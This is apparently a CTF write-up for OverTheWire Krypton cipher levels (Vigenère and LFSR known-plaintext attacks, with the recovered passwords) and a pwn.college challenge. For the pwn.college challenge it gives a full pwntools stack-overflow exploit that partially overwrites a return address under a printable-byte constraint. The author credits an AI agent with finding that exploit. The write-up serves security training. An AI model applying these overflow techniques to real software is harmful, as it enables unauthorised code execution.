QCINS PYYID MLBFS NQYSS ENPWI VRDIB TEXRI PTTOC FCQFA LYRNW MKQMS PSEVZ FTOSX UNCPX SRRRX DIPXF QEGFK FVDLC KRPVA MZCHX SRMLV DQCFK EVP
"
Key: frekey | Score: -10386.65 (quadgram)
─────────────────────────────────────────────────────────────────
they were obliged to camp out that night under a large tree in the
forest for there were no houses near the tree made a good thick covering
to protect them from the dew and the tin woodman chopped a great pile of
wood with his axe and dorothy built a splendid fire that warmed her and
made her feel less lonely she and to to ate the last of their bread and
now she did not know what they would do for breakfast if you wish said
the lion i will go into the forest and killa deer for you you can roast
it by the fire since your tastes are so peculiar that you prefer cooked
food and then you will have a very good breakfast dont please dont
begged the tin woodman i should certainly weep if you killed a poor deer
and then my jaws would rust again but the lion went away into the forest
and found his owns upper and noone ever knew what it was for he didnt
mention it and the scarecrow found a tree full of nuts and filled
dorothy s basket with them so that she would not be hungry for along
time she thought this was very kind and thoughtful of the scarecrow but
she laughed heartily at the awkward way in which the poor creature
picked up the nuts his padded hands were so clumsy and the nuts were so
small that he dropped almost as many as he put in the basket but the
scarecrow did not mind how long it took him to fill the basket for it
enabled him to keep away from the fire as he feared as park might get
into his straw and burn him up so he kept a good distance away from the
flames and only came near to cover dorothy with dry leaves when she lay
down to sleep these kept her very snug and warm and she slept soundly
until morning when it was daylight the girl bathed her face in a little
rippling brook and soon after they all started toward the emerald city
this was to bean eventful day for the travelers they had hardly been
walking an hour when they saw before them a great ditch that crossed the
road and divided the forest as far as they could see on either side it
was a very wide ditch and when they crept up to the edge and looked into
it they could see it was also very deep and there were many big jagged
rocks at the bottom the sides were so steep that none of them could
climb down and for a moment it seemed that their journey must end what
shall we do asked dorothy despairingly i have nt the faintest idea said
the tin woodman and the lions hook his shaggy mane and looked thoughtful
but the scarecrow said we cannot fly that is certain neither can we
climb down into this great ditch therefore if we cannot jump over it we
must stop where we are i think i could jump over it said the cowardly
lion after measuring the distance carefully in his mind then we are all
right answered the scarecrow for you can carry us all over on your back
one at a time well ill try it said the lion who will go first i will
declared the scarecrow for if you found that you could not jump over the
gulf dorothy would be killed or the tin woodman badly dented on the
rocks below but if iam on your back it will not matter so much for the
fall would not hurt meat all
─────────────────────────────────────────────────────────────────
alt 2 (q: -30154.08): they were obliged to camp out that night under a large tree in the forest for th...
alt 3 (q: -30154.37): they were obliged to camp out that night under a large tree in the forest for th...
1
2
3
4
5
6
vigenere decode
key: FREKEY

HCIKV RJOX

CLEAR TEXT
CLEARTEXT

level 5 → level 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
krypton5@krypton:~$ tail -n +1 /krypton/krypton5/*
==> /krypton/krypton5/found1 <==
SXULW GNXIO WRZJG OFLCM RHEFZ ALGSP DXBLM PWIQT XJGLA RIYRI BLPPC HMXMG CTZDL CLKRU YMYSJ TWUTX ZCMRH EFZAL OTMNL BLULV MCQMG CTZDL CPTBI AVPML NVRJN SSXWT XJGLA RIQPE FUGVP PGRLG OMDKW RSIFK TZYRM QHNXD UOWQT XJGLA RIQAV VTZVP LMAIV ZPHCX FPAVT MLBSD OIFVT PBACS EQKOL BCRSM AMULP SPPYF CXOKH LZXUO GNLID ZVRAL DOACC INREN YMLRH VXXJD XMSIN BXUGI UPVRG ESQSG YKQOK LMXRS IBZAL BAYJM AYAVB XRSIC KKPYH ULWFU YHBPG VIGNX WBIQP RGVXY SSBEL NZLVW IMQMG YGVSW GPWGG NARSP TXVKL PXWGD XRJHU SXQMI VTZYO GCTZR JYVBK MZHBX YVBIT TPVTM OOWSA IERTA SZCOI TXXLY JAZQC GKPCS LZRYE MOOVC HIEKT RSREH MGNTS KVEPN NCTUN EOFIR TPPDL YAPNO GMKGC ZRGNX ARVMY IBLXU QPYYH GNXYO ACCIN QBUQA GELNR TYQIH LANTW HAYCP RJOMO KJYTV SGVLY RRSIG NKVXI MQJEG GJOML MSGNV VERRC MRYBA GEQNP RGKLB XFLRP XRZDE JESGN XSYVB DSSZA LCXYE ICXXZ OVTPW BLEVK ZCDEA JYPCL CDXUG MARML RWVTZ LXIPL PJKKL CIREP RJYVB ITPVV ZPHCX FPCRG KVPSS CPBXW VXIRS SHYTU NWCGI ANNUN VCOEA JLLFI LECSO OLCTG CMGAT SBITP PNZBV XWUPV RIHUM IBPHG UXUQP YYHNZ MOKXD LZBAK LNTCC MBJTZ KXRSM FSKZC SSELP UMARE BCIPK GAVCY EXNOG LNLCC JVBXH XHRHI AZBLD LZWIF YXKLM PELQG RVPAF ZQNVK VZLCE MPVKP FERPM AZALV MDPKH GKKCL YOLRX TSNIB ELRYN IVMKP ECVXH BELNI OETUX SSYGV TZARE RLVEG GNOQC YXFCX YOQYO ISUKA RIQHE YRHDS REFTB LEVXH MYEAJ PLCXK TRFZX YOZCY XUKVV MOJLR RMAVC XFLHO KXUVE GOSAR RHBSS YHQUS LXSDJ INXLH PXCCV NVIPX KMFXV ZLTOW QLKRY TZDLC DTVXB ACSDE LVYOL BCWPE ERTZD TYDXF AILBR YEYEG ESIHC QMPOX UDMLZ VVMBU KPGEC EGIWO HMFXG NXPBW KPVRS XZCEE PWVTM OOIYC XURRV BHCCS SKOLX XQSEQ RTAOP WNSZK MVDLC PRTRB ZRGPZ AAGGK ZIMAP RLKVW EAZRT XXZCS DMVVZ BZRWS MNRIM ZSRYX IEOVH GLGNL FZKHX KCESE KEHDI FLZRV KVFIB XSEKB TZSPE EAZMV DLCSY ZGGYK GCELN TTUIG MXQHT BJKXG ZRFEX ABIAP MIKWA RVMFK UGGFY JRSIP NBJUI LDSSZ ALMSA VPNTX IBSMO
==> /krypton/krypton5/found2 <==
GLCYX UKFHS PEZXF AVJOW QQYYR RAYHM GIEOG ARIAZ YEYXV PXFPJ BXXUY SLELR NXHNH PLARX TADLC CSLGE NOSPR IUUML VSNPR RJMOO GMLGU JHVBE QSMFI NZDSK HEFNX KSHGE AVZAZ YQCQP BAKPC LMQGR XXTYR WQSEG FHSPH ZYETX FPVMX PBTWV XMLHM AZXYG EQLRN IAPOZ CXIAZ MVMSL RVNZN SKXCL RNJOL XXSCS HYMYK ZCWPR XNWYR ZJXUG MASQC ELRXX DKWMY PLUGL KHTPR GAKVE WRCEI KESOV JPJGH XJYRE CEGAE HDIBQ SEZAL DAMZX UKKZR EBMIR TLLDH MHRNZ MOOMP CIFVX JDMTP VBGWZ SHCOI FZBUK XGZRF ZALWM JOIJE BUCMB PSSZA LMSYN LJOMO SXQOE ZVTUN HGCXL YMYKA GEWQO LHQIC LFYKL TOPJL RQOMZ YFQNY EOMFG EQCEG NXYVM IPEYG KNOVB ZKXKG UOPKC PBXKF DLCAE FYXUQ IPDLN QBUQL GXWRR YVEXM QMGOG JREGY WBLLA BEULX NTZSO SDDLN MZFGV YATRX YSKTN TRTNT AKRBX YQJRS OKQHE FXTAR IPWMX KTSKV EPVFU KAYJB ZKGNX YOAGW POKTW KGIPX GUVHV EGDXB SHYBS UOVNC XYIIQ DMEOY ARIUP EGNXY RSJOW NTWAR IUTRQ YXACX MWIEG USOJY TVGNX ASHCH MYRLL BZCAV RZMFX MAPPL GMHLS SEXJU BUDLC LJGKK UYSLD MEHXK CMPTW UGESX SRRSG UULNX GWPAO ZODFS EMJGG AKFCO VBUFH XHYME EHXYK RBELR TUYOE IQEFZ LPBCC DWVXM OKXUL CFOKP PCMFT YKTZO WFZAP UGJYV BRIAZ ELWEL DZNRB ZOELO LBZPH DIPES PUGJY VBAYY RHMPK CYXYK FHXWZ ZSGYB UMSLN SEJRV EAGWP SOGKK JGYIF KTJYE JQMEK LPBJC EGUHT YLIPE SPUGJ YVBDX VXTIY YRELR XXUYA DZVPU GJYVB ELRIH UMSPO FRJVO KQZPV OKBUQ EJHEL YTZCM EYIQZ HHZEQ DIAMX YLCRS IZGBS KRBAE FYXUQ IPDFL ZALWE GWFRO GNKPU LCFNX HFMJJ AEGIW OHSAJ EUFOO EBESS UHADL CCSBS AHNXF PSQJB UDIPP WGLHY DLCPW GGUSS WFXIA ZHMDL CCSLG ENOSP RIGNT AKPRS SHMAI EXMYI XOGKY JKLRJ GLZOI LESTU BUDSG EEYRD PXHQL RQBTY SIRTI FUYTO RALQR UNAYJ GEGBT LLAYC YXYET UYXFP VQXTD OVYYH GCHWY VRPVF GGKCI TPVNR FHSHQ LRQZA LVELO PNJRD OVCLP YRHPD IPTRT HRHMG GOIAZ TAFEP TSHYI VSRRD SSZAL BSYOF RZPLO RRSIP UGJYV BLRQZ ALMSD QIRXH VWAFP RNMXU DPCXE AUYZS BRJJB XFHVP WOVRY LLNML LFEUP UCYGE SSIEV DLCDT EKMAI ACWPJ UKULY RGIEE PLVPI PTGCB ARPYC KRYJB KVCNY SLLHX HJLVT KYSKT QESGN XWYGI PXFVT ZCIBL PBTZV XLGDA NEMVR MQMVR GDMKW R
==> /krypton/krypton5/found3 <==
FIPJS EJXYV CYYHZ KMOYH GNEYN XSYSI PHJOM OKLYY HBTXH MLIYI RGGKK PMFHJ GMJRX GNOVT ZHCSL ZVBAL ZOVKZ RHTWL BLGDJ YGIWO HULMF ZVVKX YDXUU NNRMR AMGZX KSXQR VNBBA IELOP BTZLF MRJET GBUCX RSIYK OPDCY YHRBT UOWAP RPKHM DLCMV VYDMS VCSIU GWHQS MOPRM TUNAY DEYOM AVITL MAUYP DJMCL VYUYY ALDXB IDPXK QQMGZ XKCPC PONTW JVSQP EAJPL BIMQE SOGLD IVEYE KAPCW FZIFG GKLYA VPRYM VYXFZ YTNIS KMLHI EKMYS QFPAB XXHXS BOPVZ MSOWJ PIXIK PCTDW EKKGD SKQPX GOGNF IPJGY ULLDS FTWUK TKGLG NLJOZ PDMQE SOKIY OWSXI QCTZW EBPSS NTPBF SEAUO VOVSM VIQLT YWSPP EFZAV EKFTX JKKLC TSYJE UFMSP YXIAZ LVPWG WOBXZ SKWQS MFRBU ORRSS HMAUY XMQES OGLXI QDMAG VJYVB LRPKP PDLFT WFZHJ UMLRW JGLHC AFTXR GLARI RZTFU YARIU LZRYM OKXZC SXKNW YRRSI AKBNR FMFVV TZIOE ASSEZ ALCTC NOFUY ZKMJE LNZZS SRRPH VTMOO WSYPV MAAPE PLXFK THPEA PLNHB AEEJW CFAIW BIQDI QGGKA YGPXR JPHCW RTPYR BNRXC OYCAG KOVRS IDATP XXUTK OETWK MPZJZ UBZDF PTKUZ XFOWR SEGOM TEWRS EIKVV CXRSI VXHDX IPTRL KTYCK MYIOE LVWIN LMAYM VNVGW PGUMO OGMXT BYXKK RBCIF KKCOH CITEK LZSSL ZJGKE SCSLD FNTDO OLYOE UKTSD LWNSY UNYSR FTWPN XLUWY YHUOL MKGCE LBAZO VMLPH OUKLP IUEVN IXZYJ YYBVK MFLYR AIENT WCXFP GBTYP NILEM NRUHM LCWSE IELBO QTRGK ESCSL DFNTD DOVCA VVTVP ZEJWC BIVBZ MCOAV ZAARI ALVRY HMYXF PVCKH WVIYY HCKKO KTQDI PUGKR ELOGN XXZVM IPWRI HUNLY YHPRH ARIQN SZKXH CMJJS SLTUN SLNSZ VELDM LRLVY KLCIK MPNTV LDSYX EACAV GEQDM GZBUQ JMCLV YIVBX PLMGS KSYVP JHEUI WOHMQ JGULS OINEL RGKYS ZYWSS NBZLV CLOSG LABSS DIQNB TKRBS IFGBK DSRSI QXTDO VYDLR SHCOH FTWPN TPBXM TXVCB ZREAN SZSHK KXGZR CXXWK VCOJB XTFYY LRPNJ RDRSK LCPUF LRIPP EGGGF DMKPX BJTFC LCXEL GLRPS PXVWG KCSWJ ZVEEH YCLCX ELUGS IEQVJ BXTNO RRWIZ GGMBS KEIYR LVXWZ LRXVE LKWCE SYKMT OOLZA LKLZS VRPPY YHUCF YYOVT EVXHM YWVXR LCCCD WVXPL RETPS SZXUD MKPWG NXOYR MFVGU XUDIP EEVTR VEVEP RGRXT ORGYX UKBYD VYGIY RBUQF YNOJG KKCEL OJBXP HBHQM IGCBE DPMYH BTTUN TYCMF YBYKZ YDXQK TSYJR CEIKE SSRED MEOGA OPJDS AGGKM SKAEA ELOYY QPCRY PLKVC BYVZX HPVCY GUNHB CIYDA RREHC ELPRT RBZRS LPCRY LPBRM EQHIA PXXFP LNHBA YJQFG UZKHF IJWMA MRVEV QPPSO MOSRI DMETH AYJJL XREXH BWGEM FLBMD ICYCR GKZCM LNIJK LPXGC TGNSX SKWRQ VBSYY KRAP
==> /krypton/krypton5/krypton6 <==
BELOS Z
==> /krypton/krypton5/README <==
Frequency analysis can break a known key length as well. Lets try one
last polyalphabetic cipher, but this time the key length is unknown.


Enjoy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ ./target/release/subsolve --vigenere "FIPJS EJXYV CYYHZ KMOYH GNEYN XSYSI PHJOM OKLYY HBTXH MLIYI RGGKK PMFHJ GMJRX GNOVT ZHCSL ZVBAL ZOVKZ RHTWL BLGDJ YGIWO HULMF ZVVKX YDXUU NNRMR AMGZX KSXQR VNBBA IELOP BTZLF MRJET GBUCX RSIYK OPDCY YHRBT UOWAP RPKHM DLCMV VYDMS VCSIU GWHQS MOPRM TUNAY DEYOM AVITL MAUYP DJMCL VYUYY ALDXB IDPXK QQMGZ XKCPC PONTW JVSQP EAJPL BIMQE SOGLD IVEYE KAPCW FZIFG GKLYA VPRYM VYXFZ YTNIS KMLHI EKMYS QFPAB XXHXS BOPVZ MSOWJ PIXIK PCTDW EKKGD SKQPX GOGNF IPJGY ULLDS FTWUK TKGLG NLJOZ PDMQE SOKIY OWSXI QCTZW EBPSS NTPBF SEAUO VOVSM VIQLT YWSPP EFZAV EKFTX JKKLC TSYJE UFMSP YXIAZ LVPWG WOBXZ SKWQS MFRBU ORRSS HMAUY XMQES OGLXI QDMAG VJYVB LRPKP PDLFT WFZHJ UMLRW JGLHC AFTXR GLARI RZTFU YARIU LZRYM OKXZC SXKNW YRRSI AKBNR FMFVV TZIOE ASSEZ ALCTC NOFUY ZKMJE LNZZS SRRPH VTMOO WSYPV MAAPE PLXFK THPEA PLNHB AEEJW CFAIW BIQDI QGGKA YGPXR JPHCW RTPYR BNRXC OYCAG KOVRS IDATP XXUTK OETWK MPZJZ UBZDF PTKUZ XFOWR SEGOM TEWRS EIKVV CXRSI VXHDX IPTRL KTYCK MYIOE LVWIN LMAYM VNVGW PGUMO OGMXT BYXKK RBCIF KKCOH CITEK LZSSL ZJGKE SCSLD FNTDO OLYOE UKTSD LWNSY UNYSR FTWPN XLUWY YHUOL MKGCE LBAZO VMLPH OUKLP IUEVN IXZYJ YYBVK MFLYR AIENT WCXFP GBTYP NILEM NRUHM LCWSE IELBO QTRGK ESCSL DFNTD DOVCA VVTVP ZEJWC BIVBZ MCOAV ZAARI ALVRY HMYXF PVCKH WVIYY HCKKO KTQDI PUGKR ELOGN XXZVM IPWRI HUNLY YHPRH ARIQN SZKXH CMJJS SLTUN SLNSZ VELDM LRLVY KLCIK MPNTV LDSYX EACAV GEQDM GZBUQ JMCLV YIVBX PLMGS KSYVP JHEUI WOHMQ JGULS OINEL RGKYS ZYWSS NBZLV CLOSG LABSS DIQNB TKRBS IFGBK DSRSI QXTDO VYDLR SHCOH FTWPN TPBXM TXVCB ZREAN SZSHK KXGZR CXXWK VCOJB XTFYY LRPNJ RDRSK LCPUF LRIPP EGGGF DMKPX BJTFC LCXEL GLRPS PXVWG KCSWJ ZVEEH YCLCX ELUGS IEQVJ BXTNO RRWIZ GGMBS KEIYR LVXWZ LRXVE LKWCE SYKMT OOLZA LKLZS VRPPY YHUCF YYOVT EVXHM YWVXR LCCCD WVXPL RETPS SZXUD MKPWG NXOYR MFVGU XUDIP EEVTR VEVEP RGRXT ORGYX UKBYD VYGIY RBUQF YNOJG KKCEL OJBXP HBHQM IGCBE DPMYH BTTUN TYCMF YBYKZ YDXQK TSYJR CEIKE SSRED MEOGA OPJDS AGGKM SKAEA ELOYY QPCRY PLKVC BYVZX HPVCY GUNHB CIYDA RREHC ELPRT RBZRS LPCRY LPBRM EQHIA PXXFP LNHBA YJQFG UZKHF IJWMA MRVEV QPPSO MOSRI DMETH AYJJL XREXH BWGEM FLBMD ICYCR GKZCM LNIJK LPXGC TGNSX SKWRQ VBSYY KRAP
"
Key: keylength | Score: -7602.39 (quadgram)
─────────────────────────────────────────────────────────────────
very orderly and methodical he looked with a hand on each knee and aloud
watch ticking a sonorous sermon under his flapped waistcoat as though it
pitted its gravity and longevity against the levity and evanescence of
the brisk fire he had a good leg and was a little vain of it for his
brown stockings fitted sleek and close and were of a fine texture his
shoes and buckles too though plain were trim he wore an odd little sleek
crisp flaxen wig setting very close to his head which wig it is to be
presumed was made of hair but which looked far more as though it were
spun from filaments of silk or glass his linen though not of a fineness
in accordance with his stockings was as white as the tops of the waves
that broke upon the neighbouring beach or the specks of sail that
glinted in the sunlight far at sea a face habitually suppressed and
quieted was still lighted up under the quaint wig by a pair of moist
bright eyes that it must have cost their owner in years gone by some
pains to drill to the composed and reserved expression of tell sons bank
he had a healthy colour in his cheeks and his face though lined bore few
traces of anxiety but perhaps the confidential bachelor clerks in tell
sons bank were principally occupied with the cares of other people and
perhaps secondhand cares like secondhand clothes come easily off and on
completing his resemblance to a man who was sitting for his portrait mr
lorry dropped off to sleep the arrival of his breakfast roused him and
he said to the drawer as he moved his chair to it i wish accommodation
prepared for a young lady who may come here at anytime today she may ask
for mr jarvis lorry or she may only ask for a gentleman from tell sons
bank please to let me know yes sir tell sons bank in london sir yes yes
sir we have oftentimes the honour to entertain your gentlemen in their
travelling backwards and forwards betwixt london and paris sir avast
deal of travelling sir in tells on and company s house yes we are quite
a french house as well as an english on eyes sir not much in the habit
of such travelling yourself i think sir not of late years it is fifteen
years since we since i came last from france
─────────────────────────────────────────────────────────────────
alt 2 (q: -20512.59): very orderly and methodical he looked with a hand on each knee and aloud watch t...
alt 3 (q: -20524.50): very orderly and methodical he looked with a hand on each knee and aloud watch t...

i use cyberchef to decode the ciphertext btw

1
2
3
4
ciphertext: BELOS Z
key: KEYLENGTH

RANDO M
RANDOM

level 6 → level 7

krypton6 要解决的是 LFSR stream cipher。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
krypton6@krypton:~$ tail -n +1 /krypton/krypton6/*
==> /krypton/krypton6/encrypt6 <==
# ...
==> /krypton/krypton6/HINT1 <==
The 'random' generator has a limited number of bits, and is periodic.
Entropy analysis and a good look at the bytes in a hex editor will help.

There is a pattern!

==> /krypton/krypton6/HINT2 <==
8 bit LFSR
tail: cannot open '/krypton/krypton6/keyfile.dat' for reading: Permission denied

==> /krypton/krypton6/krypton7 <==
PNUKLYLWRQKGKBE
==> /krypton/krypton6/onetime <==
tail: error reading '/krypton/krypton6/onetime': Is a directory

The encrypt6 binary uses an 8-bit LFSR (Linear Feedback Shift Register) as a stream cipher. The key is in keyfile.dat (not readable by krypton6), but we can run encrypt6 on any plaintext — a known-plaintext attack.

Since this is an 8-bit LFSR, the keystream repeats after a short period. By encrypting known plaintext, we recover the keystream.

1
2
3
4
5
6
7
8
krypton6@krypton:~$ mktemp -d
/tmp/tmp.xxxxxx
krypton6@krypton:~$ cd /tmp/tmp.xxxxxx
krypton6@krypton:/tmp/tmp.xxxxxx$ ln -sf /krypton/krypton6/keyfile.dat
krypton6@krypton:/tmp/tmp.xxxxxx$ python3 -c "print('A'*256)" > plain.txt
krypton6@krypton:/tmp/tmp.xxxxxx$ /krypton/krypton6/encrypt6 plain.txt cipher.txt
krypton6@krypton:/tmp/tmp.xxxxxx$ cat cipher.txt
EICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSI

The pattern EICTDGYIYZKTHNSIRFXYCPFUEOCKRN repeats every 30 characters — that's the LFSR period.

Since the cipher is just: ciphertext[i] = (plaintext[i] + keystream[i]) mod 26

And we know plaintext[i] = 'A' for all i, the keystream is just shift relative to 'A': keystream[i] = (ciphertext_of_A[i] - 'A') mod 26

We can verify the keystream is correct by encrypting A/B/C:

1
2
3
4
krypton6@krypton:/tmp/tmp.xxxxxx$ python3 -c "print('A'*30 + 'B'*30 + 'C'*30)" > plain2.txt
krypton6@krypton:/tmp/tmp.xxxxxx$ /krypton/krypton6/encrypt6 plain2.txt cipher2.txt
krypton6@krypton:/tmp/tmp.xxxxxx$ cat cipher2.txt
EICTDGYIYZKTHNSIRFXYCPFUEOCKRNFJDUEHZJZALUIOTJSGYZDQGVFPDLSOGKEVFIAKABMVJPUKTHZAERHWGQEMTP

Each chunk of 30 shifts by 1 per letter (B→F, C→G, etc.) — consistent LFSR keystream.

Decrypt the password file:

1
2
3
4
5
6
7
8
9
10
11
krypton6@krypton:/tmp/tmp.xxxxxx$ python3 -c "
key = 'EICTDGYIYZKTHNSIRFXYCPFUEOCKRN'
ct = open('/krypton/krypton6/krypton7').read().strip()
pt = ''
for i,c in enumerate(ct):
shift = ord(key[i % len(key)]) - ord('A')
p = (ord(c) - ord('A') - shift) % 26
pt += chr(p + ord('A'))
print('Password:', pt)
"
Password: LFSRISNOTRANDOM
1
2
3
4
or just use Vigenère Decode in cyberchef

Key: EICTDGYIYZKTHNSIRFXYCPFUEOCKRN
input: PNUKLYLWRQKGKBE

The 8-bit LFSR has only 2^8-1 = 255 possible states before repeating — far from truly random. The known-plaintext attack recovers the keystream in one shot.

1
2
ssh krypton7@krypton.labs.overthewire.org -p 2231
# password: LFSRISNOTRANDOM
LFSRISNOTRANDOM

通关

1
2
krypton7@krypton:~$ cat /krypton/krypton7/README
Congratulations on beating Krypton!

CIMG 挑战第二题。handle_5(无校验文件加载)被移除,新增不可达的 win() 函数。需要通过 handle_1337 栈溢出覆盖返回地址,跳转到 win 读取 /flag。全部数据路径受限于 printable ASCII(0x20-0x7e)。

挑战地址:ssh hacker@dojo.pwn.college,二进制在 /challenge/integration-cimg-screenshot-win

1. 与第一题的区别

特性 第一题 第二题
handle_5(加载文件) 可用 已移除,跳转表 slot 指向错误处理
win() 函数 有,但无任何调用者
二进制大小 22KB 83KB
核心漏洞 handle_1337 栈溢出 相同

handle_5 的移除意味着无法通过加载外部文件来放置任意字节的 shellcode。所有数据必须通过 handle_1(RGBA 像素)进入帧缓冲区,而 handle_1 强制要求 alpha 通道在 0x20-0x7e 范围内。

2. win() 函数分析

win 位于 0x401576,逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void win() {
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
printf("ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0) {
puts("Your effective user id is not 0!");
puts("You must directly run the suid binary...");
}
exit(-1);
}
char buf[256];
int n = read(fd, buf, sizeof(buf));
if (n <= 0) { /* error + exit */ }
write(1, buf, n);
// ... then repeats open/read/write in an infinite chain
}

关键发现:win 不是单个函数,而是约 50 个重复的 open/read/write 代码块的序列。每个块结构相同:

1
2
3
4
5
6
7
write_block:  write(1, rbp, n)     // 输出上次读取的内容
puts(separator)
open_block: fd = open("/flag", 0)
if (fd < 0) goto error
read_block: n = read(fd, rbp, 0x100)
if (n <= 0) goto error
// chain to next write_block

第一个块(0x4015e1)特殊:它在 read 前执行 mov %rsp, %rbp,将 rbp 初始化为有效的栈缓冲区。后续所有块复用这个 rbp 值。

3. 核心难题:printable 约束

handle_1337 的溢出数据来自帧缓冲区。帧缓冲区由 handle_1 填充,alpha 通道必须是 printable(0x20-0x7e)。

需要覆盖的返回地址包含 0x000x15 等不可打印字节。由于无法构造全 printable 的 64 位地址,直接覆盖行不通。

尝试了多种绕过:

  • 部分覆盖 saved rbp:保留高字节(原始栈地址),只覆盖低字节。但即使 rbp 指向有效栈内存,跳转目标 0x402031 的字节包含 0x15(不可打印)。
  • saved rbx 劫持 + 跳转表:rbx 必须指向 printable 地址,栈/堆地址均不可打印。
  • 多阶段溢出:每次 handle_1337 调用创建新栈帧,无法叠加。

4. 突破:printable 地址的 mov %rsp, %rbp

扫描二进制中所有 mov %rsp, %rbp(字节序列 48 89 e5):

1
2
3
4
0x4015e1  mov %rsp,%rbp   ; 0xe1, 0x15 ← 0x15 不可打印
0x402214 mov %rsp,%rbp ; 0x14, 0x22 ← 0x14 不可打印
...
0x405470 mov %rsp,%rbp ; 0x70='p', 0x54='T' ← 全部 printable!

0x405470 的低三字节 70 54 40 均可打印。该地址位于 win 的深层重复块中,其后的代码路径为:

1
2
3
4
5
6
7
8
9
10
405470: mov %rsp, %rbp        ; rbp = 当前栈指针(有效缓冲区!)
405473: movslq %eax, %edx ; 来自上一轮 read 的字节数
405476: mov $1, %edi
40547b: mov %rbp, %rsi
40547e: call write ; 写入 stdout(首次是栈垃圾,但后续是 flag)
405483: puts(...)
40548f: lea "/flag", %rdi
40549a: call open ; 打开 /flag
4054d9: read(fd, rbp, 0x100) ; 读取 /flag 到栈缓冲区
; → 链到下一个 write_block 输出 flag

跳到 0x405470 后:第一次 write 输出栈上的随机数据(无害),然后 openread → 下一个 write 正确输出 flag。后续块继续循环直到栈耗尽或崩溃——但 flag 已经输出了。

5. Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WIN = 0x405470  # printable: 0x70='p', 0x54='T', 0x40='@'

# 3 字节部分覆盖返回地址(偏移 168-170)
raw = bytearray(255)
for i in range(255): raw[i] = 0x41 # 'A' 填充
raw[168] = 0x70 # 'p'
raw[169] = 0x54 # 'T'
raw[170] = 0x40 # '@'

# RGBA: R=G=B=0, A=目标字节(均为 printable)
rgba = b''.join(bytes([0, 0, 0, b]) for b in raw)

# CIMG: handle_1 渲染 255 像素 → handle_1337 截屏 w=171 溢出
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(1337) + bytes([0, 0, 0, 171, 1])
1
2
3
4
$ ssh hacker@dojo.pwn.college 'python3 /tmp/ewf2.py'
[+] startstack=0x7ffeff2ce320
[*] Running exploit → 0x405470
[+] FLAG: pwn.college{**********************************************}

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""CIMG Screenshots 2 — FINAL: jump to 0x405470 (mov rsp,rbp; write; open; read; write /flag)."""

from pwn import *

context.log_level = "info"
BIN = "/challenge/integration-cimg-screenshot-win"
WIN = 0x405470 # printable: 0x70='p', 0x54='T', 0x40='@'


def cimg_hdr(w, h, n):
return b"cIMG" + p16(4) + p8(w) + p8(h) + p32(n)


# ─── leak ───
stat = open("/proc/self/stat", "rb").read()[:255].ljust(255, b"\x00")
rgba = b"".join(bytes([0, 0, 0, b]) for b in stat)
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(6) + b"\x00"
with open("/tmp/lk.cimg", "wb") as f:
f.write(cimg)
p = process([BIN, "/tmp/lk.cimg"])
out = p.recvall(10)
p.close()
import re

ss = int(b"".join(re.findall(rb"m(.)\x1b\[0m", out)).decode().split()[27])
log.success(f"startstack={hex(ss)}")

# ─── exploit ───
# Overwrite ret addr (buffer offset 168-170) with low 3 bytes of 0x405470
# Bytes: 0x70, 0x54, 0x40 — all printable
# Saved rbp (offset 144-151) also overwritten but 0x405470 sets rbp=rsp, so it doesn't matter!
OVERFLOW_W = 171

raw = bytearray(255)
for i in range(255):
raw[i] = 0x41 # 'A' filler
raw[168] = 0x70 # 'p'
raw[169] = 0x54 # 'T'
raw[170] = 0x40 # '@'

rgba = b"".join(bytes([0, 0, 0, b]) for b in raw)
cimg = cimg_hdr(255, 1, 2) + p16(1) + rgba + p16(1337) + bytes([0, 0, 0, OVERFLOW_W, 1])
with open("/tmp/ex.cimg", "wb") as f:
f.write(cimg)

log.info("Running exploit → 0x405470")
p = process([BIN, "/tmp/ex.cimg"])
out = p.recvall(10)
p.close()

flag = re.search(rb"pwn\.college\{[^}]+\}", out)
if flag:
log.success(f"FLAG: {flag.group().decode()}")
else:
clean = re.sub(rb"\x1b\[[0-9;]*m", b"", out)
log.info(f"exit={p.returncode} len={len(out)}")
if clean.strip():
log.info(f"output: {clean[:500]}")

6. 关键要点

  1. 重复代码块创造机会——win 的 ~50 个副本使地址空间覆盖了 printable 范围。如果在 0x402020-0x407e7e 区间内搜索,总能找到包含 mov %rsp, %rbp 的块。

  2. mov %rsp, %rbp 自初始化——不需要预先设置 rbp。跳转到该指令后,rbp 自动指向有效栈内存,read 可直接写入。

  3. 部分覆盖在 printable 约束下仍然有效——只覆盖返回地址的低 3 字节,高 5 字节保留原始的 0x00(因为原始返回地址 0x4013ff 的高字节也是 0)。

  4. Hermes + deepseek-v4-pro 从零分析到拿到 flag 约一小时。最耗时的是逐个排查 printable 约束下的绕过方案——return address overwrite、saved rbx hijack、partial overwrite、alphanumeric shellcode 等——直到发现 0x405470mov %rsp, %rbp 自初始化特性。

后记(前记?)

这道题卡了两个月。之前分析时已经定位到了 handle_1337 的栈溢出、渲染旋转、saved rbx 偏移——几乎所有拼图都在,但 exploit 始终 SIGSEGV。反复调偏移、怀疑 SHSTK、怀疑 read_exact 破坏了跳转表。

最终是 Hermes(运行 deepseek-v4-pro )接手后,从零重建了调试流程,先用 exit(42) 确认代码执行可达,再用 write("WORKS\n") 验证 syscall。

